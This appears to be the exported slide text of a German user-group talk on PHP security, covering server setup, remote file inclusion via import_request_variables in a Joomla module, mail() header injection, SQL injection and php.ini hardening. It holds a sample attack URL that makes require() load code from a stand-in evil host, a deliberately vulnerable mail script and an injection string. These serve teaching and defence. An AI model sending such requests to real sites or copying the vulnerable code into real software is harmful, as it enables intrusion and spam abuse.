

PHP-Security

Aleksander Paravac

watz@lug-bamberg.de
<http://www.lug-bamberg.de>



Übersicht

- 1 Motivation
- 2 Einsatz von PHP auf dem Webserver
 - Als Webserver Modul
 - Als CGI Modul
- 3 Codebeispiele
 - Includes
 - Mail
- 4 PHP absichern
 - Code-Reviews
 - Konfiguration härten



Motivation

Warum einen Vortrag über PHP-Security?

Gründe

- große Verbreitung von LAMP auf Webhostingssystemen
- zahlreiche CMS auf PHP-Basis
(z.B. Joomla, Drupal, Wordpress, Typo3, ...)
- Vorteil der Sprache: „*PHP ist einfach*“
- Nachteil der Sprache: „*PHP ist einfach*“
- Angriffe auf GNU/Linux Server meist durch Fehler in den CMS



Motivation

Warum einen Vortrag über PHP-Security?

Gründe

- große Verbreitung von LAMP auf Webhostingssystemen
- zahlreiche CMS auf PHP-Basis
(z.B. Joomla, Drupal, Wordpress, Typo3, ...)
- Vorteil der Sprache: „*PHP ist einfach*“
- Nachteil der Sprache: „*PHP ist einfach*“
- Angriffe auf GNU/Linux Server meist durch Fehler in den CMS



Motivation

Warum einen Vortrag über PHP-Security?

Gründe

- große Verbreitung von LAMP auf Webhostingssystemen
- zahlreiche CMS auf PHP-Basis
(z.B. Joomla, Drupal, Wordpress, Typo3, ...)
- Vorteil der Sprache: „*PHP ist einfach*“
- Nachteil der Sprache: „*PHP ist einfach*“
- Angriffe auf GNU/Linux Server meist durch Fehler in den CMS



Motivation

Warum einen Vortrag über PHP-Security?

Gründe

- große Verbreitung von LAMP auf Webhostingssystemen
- zahlreiche CMS auf PHP-Basis
(z.B. Joomla, Drupal, Wordpress, Typo3, ...)
- Vorteil der Sprache: „*PHP ist einfach*“
- Nachteil der Sprache: „*PHP ist einfach*“
- Angriffe auf GNU/Linux Server meist durch Fehler in den CMS



Motivation

Warum einen Vortrag über PHP-Security?

Gründe

- große Verbreitung von LAMP auf Webhostingssystemen
- zahlreiche CMS auf PHP-Basis
(z.B. Joomla, Drupal, Wordpress, Typo3, ...)
- Vorteil der Sprache: „*PHP ist einfach*“
- Nachteil der Sprache: „*PHP ist einfach*“
- Angriffe auf GNU/Linux Server meist durch Fehler in den CMS



PHP auf dem Webserver, aber wie?

Es gibt zwei Möglichkeiten PHP auf dem Webserver zu betreiben:

Einsatzmöglichkeiten

- Als Server-Modul
- Als CGI-Modul

Meist kommt als Webserver der Apache zum Einsatz. Allerdings gibt es PHP auch für den MSIS oder dem Lighttpd.



PHP auf dem Webserver, aber wie?

Es gibt zwei Möglichkeiten PHP auf dem Webserver zu betreiben:

Einsatzmöglichkeiten

- Als Server-Modul
- Als CGI-Modul

Meist kommt als Webserver der Apache zum Einsatz. Allerdings gibt es PHP auch für den MSISIS oder dem Lighttpd.



Übersicht

- 1 Motivation
- 2 **Einsatz von PHP auf dem Webserver**
 - **Als Webserver Modul**
 - Als CGI Modul
- 3 Codebeispiele
 - Includes
 - Mail
- 4 PHP absichern
 - Code-Reviews
 - Konfiguration härten



mod_php

Diese Methode kommt in der Regel in Verbindung mit dem Apache Webserver am häufigsten vor.

Vorteile

- Läuft meist direkt ohne große Probleme
- Geringer Konfigurationsaufwand
- Zentrale `php.ini`
- Bei `VirtualHosts` maßgeschneiderte Einstellungen über
 - `php_admin_value` in der `httpd.conf`
 - `php_flag` per `.htaccess`
- Aber: Möglichkeiten finden kaum Einsatz



mod_php

Diese Methode kommt in der Regel in Verbindung mit dem Apache Webserver am häufigsten vor.

Nachteile

- Jede PHP-Anwendung läuft als Webserver-User
- In VirtualHosts-Umgebung Gefährdung anderer Benutzer
- Eine zentrale `php.ini` für alle
- Rechtemanagement (Webserver muss evtl. auch schreiben dürfen!)



Übersicht

- 1 Motivation
- 2 **Einsatz von PHP auf dem Webserver**
 - Als Webserver Modul
 - **Als CGI Modul**
- 3 Codebeispiele
 - Includes
 - Mail
- 4 PHP absichern
 - Code-Reviews
 - Konfiguration härten



mod_php_cgi

In letzter Zeit kommt PHP auch als CGI des öfteren zum Einsatz:

Vorteile

- Einsatz von `mod_suexec` bzw. `mod_suphp`
- PHP-Skript wird als Benutzer des Skripts ausgeführt
- Individuelle Einstellungen pro User über userspezifische `php.ini` möglich



mod_php_cgi

In letzter Zeit kommt PHP auch als CGI des öfteren zum Einsatz:

Nachteile

- Hoher administrativer Aufwand
- Großer Verwaltungsoverhead
- Nicht jede Software läuft einwandfrei als CGI (z.B. Gallery)
- Wartung aufwendiger (z.B. beim Update der PHP-Version)



Übersicht

- 1 Motivation
- 2 Einsatz von PHP auf dem Webserver
 - Als Webserver Modul
 - Als CGI Modul
- 3 Codebeispiele**
 - Includes**
 - Mail
- 4 PHP absichern
 - Code-Reviews
 - Konfiguration härten



Das *include()*-Problem

Häufig werden *include()*- und *require()*-Anweisungen nicht richtig behandelt.

Probleme

- In *include()*- bzw. *require()*-Anweisungen werden gern Variablen verwendet. z.B. `include($pfad."/config.inc.php");`
- Dabei wird `$pfad` nicht ausreichend überprüft
- Variablen können eventuell überschrieben werden



Das *include()*-Problem

Beispiel aus einem Joomla Modul

```
//Workaround for register_globals TODO: fix that!!!  
@import_request_variables('gpc');  
if (!defined('PATH_TO_LMO')) {  
    define('PATH_TO_LMO', $mosConfig_absolute_path.  
        "/administrator/components/com_lmo/");  
}  
[...]  
  
require(PATH_TO_LMO."/init.php");
```



Das *include()*-Problem

Was macht *import_request_variables()*?

Was passiert?

- Es importiert Variablen aus dem Request-Pool als globale Variablen
- **'g'** für GET-Requests
- **'p'** für POST-Requests
- **'c'** für COOKIE-Requests

Beispiel für einen GET-Request:

```
http://www.meine-seite.de/index.php?theme=schwarz
```



Das *include()*-Problem

Was macht *import_request_variables()*?

und dann?

- Aus der URL
`http://www.meine-seite.de/index.php?theme=schwarz` wird per GET-Request die Variable *theme* auf „schwarz“ gesetzt.
- Anschließend ist in PHP die Variable *\$theme* als globale Variable verfügbar mit dem Wert „schwarz“



Das *include()*-Problem

Was passiert nun bei einem Aufruf von:

Böser Aufruf

```
http://www.meine-seite.de/index.php?  
mosConfig_absolute_path=  
http://www.boese-seite.de/boeser_ordner
```

Bösen Code einbinden

In der *require()*-Anweisung steht nun:

```
require('http://www.boese-seite.de/boeser_ordner/  
administrator/components/com_lmo/init.php');
```



Übersicht

- 1 Motivation
- 2 Einsatz von PHP auf dem Webserver
 - Als Webserver Modul
 - Als CGI Modul
- 3 Codebeispiele**
 - Includes
 - Mail**
- 4 PHP absichern
 - Code-Reviews
 - Konfiguration härten



Das *mail()*-Problem

Die PHP `mail()`-Funktion bietet Spammern eine nette Angriffsfläche:

Syntax von `mail()`

```
mail ($to, $subject, $message,  
     $header, $additional_parameters);
```

`$header` und `$additional_parameters` sind nicht zwingend notwendig.
Aber: PHP erlaubt das modifizieren des email-Headers über die `$header`-Variable.



Das *mail()*-Problem

Für leckeren Spamversand nehme man:

Vorname *

Nachname *

email-Adresse *

Anfrage *

Zutaten

- 1 Ein kleines Mail-Formular
- 2 PHP-Code mit *mail()*-Befehl
- 3 Fehlerhafte Überprüfung der Eingaben
- 4 Bei 200 Request/sec spamen!



Das *mail()*-Problem

Das Formular

kontakt.html

```
[..]  
<form action="mail.php" method="post">  
  <input type="text" name="vorname" size="20">  
  <input type="text" name="nachname" size="20">  
  <input type="text" name="email" size="40">  
  <textarea name="inhalt" rows="5" cols="20"></textarea>  
  <input type="submit" value="absenden">  
</form>  
[..]
```



Das *mail()*-Problem

Das PHP-Skript

mail.php

```
<?php
$empfaenger = "watz@lug-bamberg.de";
$betreff = "Anfrage über das Webformular";
$sender = $_POST["vorname"]." ".$_POST["nachname"];
$header = "From: ".$sender." <".$_POST["email"].">";
mail ($empfaenger, $betreff, $_POST["inhalt"], $header);
?>
```



Das *mail()*-Problem

Das Email-Eingabefeld wird nicht richtig überprüft. Dies erlaubt einen Angreifer vollen Zugriff auf die `$header` Variable und hat somit Zugriff auf weitere Felder:

Extended Access

- Überschreibung des Feldes: `From:`
- Weitere Definitionen, wie `CC:` und `BCC:`
- Überschreibung des Feldes: `Subject:`
- Definition eines ganzen neuen email-Texts

Grund: Der `$header` wird in der email zwischen dem Header des Mail-Servers und dem originalen Body der email eingefügt



Übersicht

- 1 Motivation
- 2 Einsatz von PHP auf dem Webserver
 - Als Webserver Modul
 - Als CGI Modul
- 3 Codebeispiele
 - Includes
 - Mail
- 4 **PHP absichern**
 - **Code-Reviews**
 - Konfiguration härten



Debugging ist nicht schwer

Im Falle des `mail()`-Befehles hätte eine Überprüfung der Formulareingabe geholfen.

z.B. über eine Perl-Regular-Expression:

```
$mail_check_reg = '/^ [\w.!#%&*\|\/=?\^\`\'\"\\|\}\~+-.]{1,64}\@ [[:alnum:]\.]{1,255} \. [a-z]{2,6} $/xi';  
$email = trim($_POST["email"]);  
if (!preg_match($mail_check_reg, $email)) {  
    die ("Keine gültige email-Adresse!\n");  
}
```



SQL-Injections

Ein weiter grober Fehler bei der Übergabe von Formulardaten sind Unachtsamkeiten z.B. bei Suchanfragen, die direkt an eine SQL-Datenbank weiter gereicht werden.

Beispiel

Über Suchanfragen wie z.B. ' OR 1; SHOW TABLES; bekommt ein Angreifer Informationen über die dahinter liegende Datenbanken, da die meisten Anfragen wie folgt behandelt werden:

```
$sql_query = "SELECT * FROM 'tabelle' WHERE  
            'feld' LIKE '%" . $suche . "%'";
```



Übersicht

- 1 Motivation
- 2 Einsatz von PHP auf dem Webserver
 - Als Webserver Modul
 - Als CGI Modul
- 3 Codebeispiele
 - Includes
 - Mail
- 4 **PHP absichern**
 - Code-Reviews
 - **Konfiguration härten**



Die *php.ini*

Generell wichtige Einstellungen

Wichtige Einstellungen

- `register_globals = Off`
- `allow_url_fopen = Off`
- `disable_functions = exec,system,passthru,shell_exec, popen,escapeshellcmd,proc_open,proc_nice,ini_restore`
- `display_errors = off`



Die *php.ini*

Safe-Mode und OpenBaseDir

Wichtige Einstellungen

- `safe_mode = On`
- `safe_mode_gid = On`
- `safe_mode_exec_dir = ...`
- `safe_mode_include_dir = ...`
- `open_basedir = ...`



PHP-Sicherheitserweiterung Suhosin

Streams verbieten

Suhosin-Patch

`allow_url_fopen = Off` verbietet zwar das Öffnen von externen URLs per http oder ftp, aber nicht das Öffnen von Streams, wie z.B. `data://` oder `php://`.

Über den Suhosin-Patch lässt sich dies ebenfalls vermeiden. Ihn gibt es zu finden unter:

<http://www.hardened-php.net/suhosin/index.html>



Vielen Dank für Ihre Aufmerksamkeit

The ONLY VALID MEASUREMENT
OF CODE QUALITY: WTFs/MINUTE

